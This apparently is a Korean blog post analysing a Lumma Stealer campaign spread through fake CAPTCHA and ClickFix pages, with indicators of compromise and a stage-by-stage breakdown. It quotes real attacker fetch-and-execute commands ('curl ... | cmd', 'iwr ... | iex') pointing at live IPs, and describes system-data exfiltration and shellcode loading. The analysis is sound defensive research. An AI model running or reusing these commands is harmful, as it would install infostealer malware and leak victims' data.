목차
1. 개요
1.1) 침해 지표
1.2) 분석 파일 정보
2. 상세 분석
2.1) 감염 경로
2.2) 1차 페이로드 - 정보 수집
2.2.1) script.ps1
2.2.2) script.ps1 - 1번째 요청
2.2.3) script.ps1 - 2번째 요청
2.2.4) 정보 수집
2.3) 2차 페이로드 - data.bin 쉘코드 실행
3. 실행 흐름
4. 결론

1. 개요
Lumma Stealer는 정보 탈취형 악성코드로, 악성코드 서비스를 유료로 배포·판매하는 Malware-as-a-Service 형태로 운영된다. 주로 브라우저 저장 비밀번호, 신용 카드 번호, 쿠키,암호화폐 지갑 시드/키, 자동완성 데이터 같은 사용자의 민감한 정보를 수집한다.
2022년경 러시아에서 등장 이후 빠르게 확산되었고 별칭 Shamel.을 사용하며 Telegram 및 기타 러시아어 채팅 포럼을 통해 Lumma에 대한 다양한 서비스 계층을 판매하였다.

최근에는 가짜 CAPTCHA 페이지와 ClickFix 기법을 이용해 감염 시키는 형태의 악성코드도 발견되고 있다.

최근 사례로는 2025년 3월, 마이크로소프트 위협 인텔리전스 온라인 여행사 Booking.com을 대상으로 사칭을 가장하여 감염 유도를 진행하였으며, 2025년 5월에는 여러 국가·기업이 협력해 Lumma 인프라 약 2,300 개의 악성 도메인을 대규모로 압수·차단했고 Microsoft 법집행기관의 공조가 보고 되었다. 해당 조치는 즉각적인 확산과 C2 활동을 저지하지만 MaaS 특성상 인프라가 재구성되어 언제든지 재출현 가능하다.
1.1) 침해 지표
Lumma는 다양한 변종으로 악성코드를 유포한다. 그 중 가짜 CAPTCHA 페이지와 ClickFix 기법을 활용한 Lumma Stealer를 수집 하여 분석을 진행하였다.
| 침해된 사이트 | hxxps://www[.]sepco.com/ |
| 가짜 CAPTCHA 사이트 | hxxps://louglas[.]com/4r2w.js |
| 발견된 트래픽 | hxxp://85.209.129.105:2020/19 hxxp://85.209.129.105:2020/test112 hxxp://85.209.129.105:2020/notify hxxp://64.95.13.172/second.html hxxp://85.209.129.105:2020/testl11 hxxp://maintaining-shelter-bailey-ordinance.trycloudflare[.]com |
| C2 | 91[.]212.166.160:443 (georgej[.]ru) |
1.2) 분석 파일 정보
file.zip에는 로더로 추정되는 test.pyw, 추가 페이로드 data.bin, 악성 스크립트 실행에 필요한 여러 파이썬 모듈들이 포함되어 있다.
| filename | type | size | sha256 |
| file.zip | Zip archive data | 26,922,546 bytes | e2c0390d80410e4358435c10cfc3d27b788d2299daa9d052d9c16526ee4635ad |
| test.pyw | Python | 7446 byte | d55a0e089eecb552c4604e0e958e701d52bbb6443f4dce3ad67571d24ae361a8 |
| data.bin | binary | 238838 bytes | 372ad43785eb8a28fa2da8c270c048aa863483d3d820ab9b9c89becc9569468c |
2. 상세 분석
2.1) 감염 경로
해당 분석 내용을 설명하기 앞서, Clickfix 기법에 대해서 짧게 설명하면
Clickfix는 사회공학적 피싱의 한 형태로, 사용자가 가짜 오류 메시지나 ‘인증 절차’와 같은 문구를 보고 PowerShell에 악성 명령을 직접 복사·붙여넣기 하도록 유도하는 공격 기법이다. 해당 방식은 사용자가 스스로 명령을 실행하게 만들어 보안 솔루션이나 실행 정책을 우회하려는 목적을 갖는다.



감염 경로는 피해자가 가짜 CAPTCHA 페이지로 리다이렉트되는 웹사이트에 접속하는 순간 시작된다. 공격자는 취약한 사이트에 악성 JavaScript를 미리 삽입해 방문자가 페이지에 접속하면 가짜 CAPTCHA를 띄우고, 사용자에게 일련의 동작을 하도록 유도한다. 이 과정에서 사용자는 해당 페이지를 정상 사이트로 인식해 별다른 의심 없이 안내문을 따라 악성 명령을 복사·붙여넣기 하여 공격자가 준비한 명령을 실행하게 되고, 사용자 모르게 감염이 진행된다.
최근에 공격자는 중국 건설 회사인 sepco 사의 포털 사이트에 악성 JavaScript를 삽입시키고, 방문 시 가짜 CAPTCHA 페이지가 표시되도록 조작되었던 사례가 존재한다. 이에 방문자는 정상 페이지로 안심하고 안내에 따라 클립보드에 담긴 명령을 실행하면서, 결과적으로 다수의 시스템이 악성코드에 감염되는 피해가 발생한 사례가 있다.

4r2w.js에서 리다이렉션된 louglas.com 페이지에는 사용자의 클립보드에 명령어를 자동으로 복사하도록 설계된 JavaScript 코드가 포함되어 있다. 클립보드에 복사되는 cmd 명령은 다음과 같다.
cmd.exe /c start "" /min cmd /k "curl -s http://85.209.129.105:2020/19 | cmd && exit; capcha code 74585
클립보드에 복사되는 내용은 curl로 85.209.129.105에서 HTTP 응답을 받아 그 출력을 즉시 cmd에서 실행하도록 구성된 페이로드다. 즉, 원격 서버에서 코드를 내려받아 곧바로 실행하도록 설계된 명령이 클립보드에 들어가게 된다.

복사된 명령 hxxp://85.209.129.105:2020/19 요청 시 난독화된 PowerShell 스크립트를 반환한다. 내용은 악성코드 개발자가 테스트용으로 남겨둔 주석 처리된 스크립트도 포함되어 있고, 그 아래에 실제로 실행되는 PowerShell 스니펫이 존재했다. 실행되는 스니펫은 두 개의 블록으로 구성되어 있으며, 각 블록은 서로 다른 역할(비콘/정보 전송, 페이로드 실행 등)을 수행하도록 설계되어 있다.
2.2) 1차 페이로드 - 정보 수집

1차로 실행되는 PowerShell 스니펫에서는 PowerShell을 -ExecutionPolicy Bypass -NoLogo -NoProfile -WindowStyle Hidden 옵션으로 백그라운드로 실행하여, 원격 서버(hxxp://85.209.129.105:2020/test112)에서 script.ps1 파일을 AppData 경로로 다운로드하여 실행 후 자가 삭제한다.
2.2.1) script.ps1

hxxp://85.209.129.105:2020/test112 요청 시 난독화된 파워쉘 스크립트 내용이 script.ps1 파일명으로 저장된다.

첫 번째 블록 Invoke-WebRequest 블록은 POST 요청으로 hxxp://85.209.129.105:2020/notify에 message=sended를
전송해(실패해도 무시) C2에 감염 사실(혹은 성공 상태)을 알리는 '비콘' 역할을 한다.
두 번째 블록은 iwr http://64.95.13.172/second.html -useb -TimeoutSec 15 | iex로 원격에 호스팅된 콘텐츠를 Invoke-WebRequest로 받아(-UseBasicParsing /-useb), 파이프(|)로 Invoke-Expression (IEX)에 넘겨 실행한다
예외는 try/catch로 처리되어 실패 흔적을 남기지 않으려는 의도를 보여준다.
2.2.2) script.ps1 - 1번째 요청

첫번째 블록 POST 요청인 hxxp://85.209.129.105:2020/notify 응답은 위 사진과 같다.
2.2.3) script.ps1 - 2번째 요청

두번째 블록 GET 요청에선 응답 받은 난독화된 파워쉘 스크립트를 IEX에서 실행한다.
감염된 시스템의 정보를 수집하고 이를 외부로 전송한다. 먼저 ${BODY} = $(systeminfo | out-string) 구문을 통해 systeminfo 명령의 출력 결과 (호스트 이름·운영체제 버전·설치 날짜·CPU·메모리 구성 등) 상세 시스템 정보를 문자열 형태로 수집한다. 이후 Invoke-RestMethod를 이용해 maintaining-shelter-bailey-ordinance.trycloudflare.com/BSVjy5VpVrgO 주소로 해당 데이터를 application/octet-stream 형식으로 POST 전송함으로써 공격자 측 서버로 타겟 시스템 정보를 전송한다. 또한 Cloudflare Tunnel(trycloudflare.com)을 이용해 C2 주소를 은폐하고 트래픽을 정상화하는 특징을 가진다.
2.2.4) 정보 수집

수집되는 정보는 systeminfo 명령으로 나오는 정보를 전송한다.
https://learn.microsoft.com/ko-kr/windows-server/administration/windows-commands/systeminfo
systeminfo
운영 체제 구성, 보안 정보, 제품 ID 및 하드웨어 속성(예: RAM, 디스크 공간 및 네트워크 카드) 등 컴퓨터와 운영 체제에 대한 자세한 구성 정보를 표시하는 systeminfo 명령에 대한 참조 문서입니다.
learn.microsoft.com
2.3) 2차 페이로드 - data.bin 쉘코드 실행

해당 PowerShell 스크립트는 사용자의 AppData 경로에 file.zip을 http://85.209.129.105:2020/testl11에서 다운로드하고FINAL 폴더로 압축을 풀어 그 안에 포함된 pythonw.exe와 test.pyw를 숨김 창(-WindowStyle Hidden) 상태에서 실행한다.
스크립트는 AppData 존재 여부 검사와 오류 중단(-ErrorAction Stop)을 포함해 비교적 안정적으로 동작하도록 작성되어 있다.

hxxp://85.209.129.105:2020/testl11에 요청을 보내면, 응답으로 ZIP 아카이브 형식을 나타내는 시그니처 "PK"를 포함한 바이너리 파일이 다운로드 된다.


다운로드되는 file.zip 에 test.pyw, data.bin 파일이 존재한다.

이후 실행되는 test.pyw 파이썬 스크립트 또한 base64.b64decode()로 길게 인코딩된 페이로드를 복원한 다음 exec()로
실행하는 전형적인 난독화 패턴이 적용되어 있었다.
%APPDATA%\Roaming\FINAL\data.bin을 바이너리로 읽어 각 바이트에 XOR 키 0x3B를 적용해 복호화한 뒤, VirtualAlloc()으로 실행 가능한 메모리를 할당한다.(MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE), 복호화한 바이트를 할당한 메모리로 복사한 뒤 함수 포인터로 캐스팅해 바로 실행한다.

수집한 pcap 로그를 분석한 결과, data.bin 실행 로직 이후 분석 대상 호스트에서 원격 명령제어(C2)로 추정되는 91.212.166.160:443 (HTTPS) 연결이 발생한 것을 확인했다. 해당 연결은 C2 서버로부터 추가적인 명령·데이터 수신이 가능한 상태임을 의미한다.
3. 실행 흐름
이번 사례는 단일 취약점이나 한 번의 실행으로 끝나는 감염이 아니라 여러 단계(체인)를 거쳐 단계별로 다단계 공격이라는 점이 핵심이며, 초기 단계에서는 (숨김 PowerShell 런처나 난독화된 Python 스크립트) 사용자 환경에서 임시 파일 또는 AppData 폴더에 악성 스크립트를 내려받아 C2에 비콘을 보내고(POST/notify), 흔적을 지우기 위해 다운로드 파일을 삭제하거나 프로세스를 최소화하여 포렌식을 회피하는 행위를 확인 할 수 있었다.
| 초기 접근 | 최소화된 PowerShell 명령이나 난독화된 Python 스니펫으로 외부 URL에서 스크립트/아카이브를 다운로드하고 실행 |
| 정보 수집 | systeminfo 같은 명령으로 환경 정보를 수집하거나, C2에 POST로 상태를 전송 |
| 로더 | 원격에서 추가 스크립트(second.html 또는 script.ps1)를 IEX/exec로 받아 즉시 실행(Fileless/in-memory 실행) |
| 페이로드 | 복호화된 쉘코드(in-memory 실행) 또는 Python/PowerShell 기반 스크립트 실행 |
| 흔적 제거 | 다운로드 파일 삭제, 프로세스 최소화 |
4. 결론
이번 분석에서 확인한 Lumma Stealer의 핵심은 감염이 단번에 끝나는 것이 아니라 여러 단계(체인)를 통해 완성된다는 점이었다. Clickfix 같은 사회공학 기법으로 사용자를 유인한 뒤, 난독화된 PowerShell·Python 스크립트가 정보 수집 → C2 비콘 → 추가 페이로드 다운로드 → 메모리 적재·실행 → 흔적 제거의 단계별 공격을 연쇄적으로 수행하며 각 단계가 역할을 분담한다.
최근 악성코드 기법은 점점 더 정교해지고, 사회공학적 수법과 파일리스·인메모리 기법을 결합해 다양한 방식으로 탐지를 회피한다. 따라서 검증된 사이트, 프로그램이라고 해서 무조건 안심하고 실행하기 보단, 매번 한 번 더 점검하고 확인하는 습관을 가지는 것이 중요하다.
'Reversing > Malware Analysis' 카테고리의 다른 글
| [Kimsuky] 정상 인증서를 악용하는 Go언어 기반 악성코드 분석 (0) | 2025.11.13 |
|---|---|
| [Lumma Stealer] Heaven's Gate 기법을 활용한 악성코드(2) (1) | 2025.11.08 |
| [BPFDoor] 악성코드 분석 - 패킷 필터를 악용하는 악성코드 (0) | 2025.09.19 |
| [HANCITOR] 악성코드 분석(3) - C2 통신 페이로드 과정 분석 (0) | 2025.09.10 |
| [HANCITOR] 악성코드 분석(2) - 압축된 페이로드 분석 (0) | 2025.09.06 |